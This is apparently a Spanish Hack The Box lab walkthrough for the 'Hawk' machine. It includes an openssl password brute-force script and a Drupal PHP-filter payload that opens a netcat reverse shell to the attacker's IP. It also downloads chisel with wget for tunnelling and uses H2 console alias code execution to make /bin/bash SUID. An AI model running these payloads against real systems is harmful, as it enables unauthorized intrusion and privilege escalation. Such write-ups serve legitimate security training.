HTB_Hawk
Hawk {-}
Introduccion {-}
La maquina del dia 05/08/2021 se llama Hawk .
El replay del live se puede ver aqui
No olvideis dejar un like al video y un comentario…
Enumeracion {-}
Reconocimiento de maquina, puertos abiertos y servicios {-}
Ping {-}
ping -c 1 10.10.10.102
ttl: 63 -> maquina Linux. Recordar que en cuanto a ttl se trata 64 = linux y 128 = windows. Pero como estamos en hackthebox el ttl disminuye en una unidad
Nmap {-}
nmap -p- --open -T5 -v -n 10.10.10.102 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p22,5000 10.10.10.102 -oN targeted
Puerto | Servicio | Que se nos occure? | Que falta? |
---|---|---|---|
21 | ftp | Accesso por anonymous | |
22 | ssh | Accesso directorio | Credenciales |
80 | http | Web, fuzzing | |
5435 | tcpwrapped | ||
8082 | http | Web, fuzzing | |
9092 | XmlIpcRegSvc |
Conneccion como anonymous al servicio FTP {-}
ftp 10.1.10.102
Name: anonymous
Mirando los ficheros con ls -la
encontramos un fichero oculto llamado .drupal.txt.enc
. Lo descargamos en nuestra
maquina de atacante.
ls -la
cd messages
ls -la
get .drupal.txt.enc
Analizando el fichero .drupal.txt.enc {-}
mv .drupal.txt.enc drupal.txt.enc
cat drupal.txt.enc
Aqui vemos que el contenido del fichero esta encodeado en base64.
cat drupal.txt.enc | xargs | tr -d ' ' | base64 -d; echo
Aqui el contenido parece ser un binario. La mejor cosa que hacer en estas situaciones seria guardarlo en un nuevo fichero
cat drupal.txt.enc | xargs | tr -d ' ' | base64 -d; echo > drupal
rm drupal.txt.enc
mv drupal dupal.txt.crypted
Ahora podemos mirar que typo de fichero es.
cat drupal.txt.crypted
strings drupal.txt.crypted
file drupal.txt.crypted
El comando file nos muestra que el fichero a sido encriptado por openssl con una contraseña.
Desencripcion del fichero drupal.txt.crypted {-}
El problema en este caso es que para leer el fichero necesitamos:
- una contraseña
- el modo de cifrado utlizado para encriptar
Aqui tendriamos que intentar multiples modo de cifrado pero buscando por internet, vemos que el mas comun seria el aes-256-cbc
En modo de ejemplo, estas serian la lineas para encriptar y desencriptar un fichero con openssl:
- Encripcion
openssl aes-256-cbc -in fichero -out fichero.crypted -k password123
-
Desencripcion
openssl aes-256-cbc -d -in fichero.crypted -out fichero -k password123
La idea aqui es crearnos un script bruteforce.sh
que nos permite encontrar la contraseña.
Evaluacion de vulnerabilidades {-}
Crack ssl password {-}
#!/bin/bash
function ctrl_c(){
echo -e "\n[!] Saliendo...\n"
exit 1
}
#Ctrl+C
trap ctrl_c INT
for password in $(cat /usr/share/wordlists/rockyou.txt); do
openssl aes-256-cvc -d -in drupal.txt.crypted -out drupal.txt -k $password 2>/dev/null
if [ "$(echo $?)" == "0" ]; then
echo -e "\n[+] La password es $password\n"
exit 0
fi
done
Lanzamos el script y vemos la contraseña. Mirando el contenido del ficher drupal.txt vemos un mensaje con una contraseña del portal.
Analizamos el Portal {-}
Hablando de portal, pensamos en la web. Nmap nos dio 2 puertos donde el servicio es http. el 80 y el 8082 Con firefox navegamos en la web para ver lo que es.
- El puerto 80 es el login de la aplicacion drupal
- El puerto 8082 es un H2 Console con una regla remote connections (‘webAllowOthers’) are disabled
Aqui ya pensamos en tecnicas de port forwarding para el puerto 8082 y savemos que tenemos que ir a por el puerto 80.
En el login del puerto 80 intentamos
- admin:admin
- admin:password
- admin:PencilKeyboardScanner123
Y la contraseña que hemos encontrado en el contenido del fichero drupal.txt
funciona.
Explotacion de vulnerabilidad & Ganando Acceso {-}
Conexion por Druppal {-}
Para ejecutar comandos o mejor dicho, para ganar accesso al sistema desde un admin panel de drupal siempre es el mismo.
- En modules, habilitar el componente PHP Filter
-
Crear un nuevo contenido
```{r, echo = FALSE, fig.cap=”Drupal - Nuevo articulo”, out.width=”90%”} knitr::include_graphics(“images/drupal-new-article.png”)
bash
nc -nlvp 443
-
En drupal añadir en el body
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 443 >/tmp/f"); ?>
- En Text Format le ponemos a PHP code
- Le damos al boton Preview
Ya hemos ganado accesso al sistema como el usuario www-data
Tratamiento de la TTY {-}
script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash
stty -a
stty rows <rownb> columns <colnb>
Analizamos la maquina {-}
ls -l
cd /home
ls
cd /daniel
cat user.txt
Aqui encontramos un usuario daniel y tenemos derechos de escritura. Ya podemos visualizar la flag. Lo mas probable aqui seria de convertirnos directamente en el usuario root.
Escalada de privilegios {-}
Rootear la maquina {-}
Algo que hemos visto, es que el puerto 8082 no se podia ver por reglas definidas en el sistema. Como ya hemos pensado en tecnicas de port forwarding, instalamos Chisel.
-
Descarga de chisel y build
git clone https://github.com/jpillora/chisel cd chisel go build -ldflags "-w -s" . upx chisel chmod +x chisel
-
Enviamos chisel a la maquina victima
-
en la maquina de atacante
python3 -m http.server 80
-
en la maquina victima
cd /tmp wget http://10.10.14.8/chisel chmod +x chisel
-
-
En la maquina de atacante creamos un servidor
./chisel server --reverse --port 1234
-
En la maquina victima creamos un cliente
./chisel client 10.10.14.8:1234 R:8082:127.0.0.1:8082
Ahora en firefox si vamos a la url http://localhost:8082
ya podemos ver el contenido de la web.
Si pinchamos en preferencias y despues en Permitir conexiones desde otros ordenadores ya podemos navegar desde la
url http://10.10.10.102:8082
.
Aqui vemos un mensaje Wrong user name or password. Esto puede passar si la URL JDBC ya esta en uso.
si cambiamos la url jdbc:h2:~/test
por jdbc:h2:~/EEEEEE
y pinchamos el boton conectar, Entramos en el
panel de control H2 database.
Si en la shell buscamos con el commando ps -faux
y buscamos el servicio h2 vemos que el servicio a sido lanzado por
el usuario root. Quiere decir que si ejecutamos commandos desde la consola h2, lo lanzariamos como usuario root.
Buscamos si existe un exploit para H2 console
searchsploit h2 consola
searchsploit h2 database
Encontramos un exploit en python que permitiria ejecutar Alias Arbitrary Code execution. Lo analizamos:
searchsploit -x 44422
Mirando el exploit, vemos que tenemos que crear un alias en el cual podemos podemos utilizar para ejecutar commandos. En este caso no necessitamos utilizar el exploit. Podemos copiar las partes que nos interessa en el panel H2.
CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new \
java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }$$;
CALL EXECVE('whoami')
Aqui vemos root. Pues aqui lanzamos el commando para que la /bin/bash
sea SUID
CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new \
java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }$$;
CALL EXECVE('chmod 4755 /bin/bash')
En la shell, ya podemos comprobar que la /bin/bash
es SUID y con el commando bash -p
no convertimos en root
ls -l /bin/bash
bash -p
cd /root
cat root.txt
Y a estamos root y podemos visualizar la flag.